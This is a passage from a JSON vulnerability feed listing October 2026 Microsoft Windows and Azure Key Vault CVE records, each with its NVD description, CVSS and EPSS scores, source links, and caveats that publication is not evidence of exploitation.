percentile for CVE-2026-88073, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88072","cveId":"CVE-2026-88072","aliases":[],"kind":"vulnerability","title":"Improper access control in Windows Host Guardian Service allows an authorized attacker to elevate privileges locally.","summary":"Improper access control in Windows Host Guardian Service allows an authorized attacker to elevate privileges locally.","detail":"Improper access control in Windows Host Guardian Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:25.863Z","updatedAt":"2026-10-16T16:22:27.240Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","Microsoft Office","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88072","asOf":"2026-10-16T16:22:27.240Z"},"epss":{"probability":0.00392,"percentile":0.3308,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88072&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88072","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88072","type":"primary","publishedAt":"2026-10-13T19:21:25.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88072","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88072&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88072, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88071","cveId":"CVE-2026-88071","aliases":[],"kind":"vulnerability","title":"Double free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","summary":"Double free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","detail":"Double free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:25.717Z","updatedAt":"2026-10-16T15:56:30.183Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","Hyper-V","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88071","asOf":"2026-10-16T15:56:30.183Z"},"epss":{"probability":0.00312,"percentile":0.2382,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88071&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88071","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88071","type":"primary","publishedAt":"2026-10-13T19:21:25.717Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88071","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88071&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88071, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88070","cveId":"CVE-2026-88070","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows BitLocker allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows BitLocker allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows BitLocker allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:25.540Z","updatedAt":"2026-10-16T16:22:26.987Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88070","asOf":"2026-10-16T16:22:26.987Z"},"epss":{"probability":0.00322,"percentile":0.24994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88070&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88070","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88070","type":"primary","publishedAt":"2026-10-13T19:21:25.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88070","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88070&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88070, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87716","cveId":"CVE-2026-87716","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Storage Spaces Controller allows an unauthorized attacker to deny service over a network.","summary":"Heap-based buffer overflow in Windows Storage Spaces Controller allows an unauthorized attacker to deny service over a network.","detail":"Heap-based buffer overflow in Windows Storage Spaces Controller allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:25.387Z","updatedAt":"2026-10-16T16:22:26.727Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87716","asOf":"2026-10-16T16:22:26.727Z"},"epss":{"probability":0.01125,"percentile":0.6604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87716&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87716","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87716","type":"primary","publishedAt":"2026-10-13T19:21:25.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87716","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87716&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87716, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87715","cveId":"CVE-2026-87715","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:25.210Z","updatedAt":"2026-10-16T16:22:26.547Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87715","asOf":"2026-10-16T16:22:26.547Z"},"epss":{"probability":0.00252,"percentile":0.16461,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87715&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87715","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87715","type":"primary","publishedAt":"2026-10-13T19:21:25.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87715","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87715&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87715, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87713","cveId":"CVE-2026-87713","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Bluetooth Port Driver allows an unauthorized attacker to elevate privileges over an adjacent network.","summary":"Use after free in Windows Bluetooth Port Driver allows an unauthorized attacker to elevate privileges over an adjacent network.","detail":"Use after free in Windows Bluetooth Port Driver allows an unauthorized attacker to elevate privileges over an adjacent network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:24.867Z","updatedAt":"2026-10-16T16:22:26.170Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87713","asOf":"2026-10-16T16:22:26.170Z"},"epss":{"probability":0.00275,"percentile":0.19697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87713&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87713","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87713","type":"primary","publishedAt":"2026-10-13T19:21:24.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87713","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87713&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87713, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87712","cveId":"CVE-2026-87712","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Quality of Service (QoS) Packet Scheduler allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Quality of Service (QoS) Packet Scheduler allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Quality of Service (QoS) Packet Scheduler allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:24.680Z","updatedAt":"2026-10-16T16:22:25.990Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87712","asOf":"2026-10-16T16:22:25.990Z"},"epss":{"probability":0.0024,"percentile":0.14905,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87712&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87712","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87712","type":"primary","publishedAt":"2026-10-13T19:21:24.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87712","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87712&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87712, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87711","cveId":"CVE-2026-87711","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:24.490Z","updatedAt":"2026-10-16T16:22:25.800Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87711","asOf":"2026-10-16T16:22:25.800Z"},"epss":{"probability":0.0024,"percentile":0.14905,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87711&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87711","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87711","type":"primary","publishedAt":"2026-10-13T19:21:24.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87711","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87711&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87711, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87710","cveId":"CVE-2026-87710","aliases":[],"kind":"vulnerability","title":"Improper access control in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.","summary":"Improper access control in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.","detail":"Improper access control in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:24.293Z","updatedAt":"2026-10-16T16:22:25.620Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87710","asOf":"2026-10-16T16:22:25.620Z"},"epss":{"probability":0.00147,"percentile":0.03865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87710&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87710","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87710","type":"primary","publishedAt":"2026-10-13T19:21:24.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-87710","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87710&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87710, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85926","cveId":"CVE-2026-85926","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Secure Socket Tunneling Protocol (SSTP) allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows Secure Socket Tunneling Protocol (SSTP) allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows Secure Socket Tunneling Protocol (SSTP) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:18.553Z","updatedAt":"2026-10-16T17:42:27.020Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85926","asOf":"2026-10-16T17:42:27.020Z"},"epss":{"probability":0.00659,"percentile":0.51251,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85926&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85926","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85926","type":"primary","publishedAt":"2026-10-13T19:21:18.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85926","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85926&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85926, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85925","cveId":"CVE-2026-85925","aliases":[],"kind":"vulnerability","title":"Improper restriction of communication channel to intended endpoints in Azure Key Vault allows an authorized attacker to elevate privileges over a network.","summary":"Improper restriction of communication channel to intended endpoints in Azure Key Vault allows an authorized attacker to elevate privileges over a network.","detail":"Improper restriction of communication channel to intended endpoints in Azure Key Vault allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:18.433Z","updatedAt":"2026-10-16T17:51:28.517Z","regions":["Global"],"vendor":"microsoft","product":"azure-keyvault-administration","stacks":["Microsoft Azure","azure-keyvault-administration"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85925","asOf":"2026-10-16T17:51:28.517Z"},"epss":{"probability":0.00525,"percentile":0.44219,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85925&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85925","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85925","type":"primary","publishedAt":"2026-10-13T19:21:18.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85925","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85925&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85925, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85922","cveId":"CVE-2026-85922","aliases":[],"kind":"vulnerability","title":"Weak authentication in Azure Key Vault allows an unauthorized attacker to bypass a security feature over a network.","summary":"Weak authentication in Azure Key Vault allows an unauthorized attacker to bypass a security feature over a network.","detail":"Weak authentication in Azure Key Vault allows an unauthorized attacker to bypass a security feature over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:18.310Z","updatedAt":"2026-10-16T17:54:26.490Z","regions":["Global"],"vendor":"microsoft","product":"azure-keyvault-administration","stacks":["Microsoft 